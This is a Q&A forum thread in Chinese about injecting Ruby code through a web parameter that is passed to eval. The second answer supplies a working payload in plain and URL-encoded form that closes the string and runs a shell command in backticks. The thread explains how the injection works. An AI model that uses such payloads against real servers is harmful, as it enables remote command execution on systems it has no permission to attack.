通过Ruby Eval函数执行代码

时间:2018-04-29 21:52:04

标签: ruby code-injection

我试图在ruby eval()中执行代码执行,首先通过注入(“)来断开字符串。下面的代码用于注入。

myuser"%2B`[system('uname')]`%2B"

我没有收到错误但是反引号之间的命令没有执行。

我正在尝试注入下面的用户名值。

eval "\"Hello "+params['username']+"\""

2 个答案:

答案 0 :(得分:1)

我不是百分百肯定你的用例,但我可以告诉你这些:

system将运行shell命令,并返回成功/失败,但不会保存结果:

irb(main):001:0> x = system('uname')
Linux
=> true
irb(main):002:0> x
=> true

反引号将运行shell命令并保存输出,但不需要单词system

irb(main):003:0> x = `uname`
=> "Linux\n"
irb(main):004:0> x
=> "Linux\n"

(如果在反引号中包含“system”,它将在命令行上运行“system”;通常不是你想要的那样)

单独使用反引号不会在字符串中执行任何操作:

irb(main):005:0> "I am `uname`"
=> "I am `uname`"

但是它们将在双引号内用#{}进行扩展:

irb(main):006:0> "I am #{`uname`}"
=> "I am Linux\n"

但通常最好先运行命令,检查错误,然后将其添加到字符串中,如

result = `uname`
# Check for errors here
output = "context #{result} more context"

答案 1 :(得分:0)

eval "\"Hello "+params['username']+"\""

如果这是服务器中运行的ruby代码,并且要执行代码注入,则可以使用以下有效负载。

myuser"+`uname`+"

但是,如果通过GET请求检索了用户名参数,则需要对上述有效负载进行URL编码。

URL编码后的有效载荷如下

myuser%22%2B%60uname%60%2B%22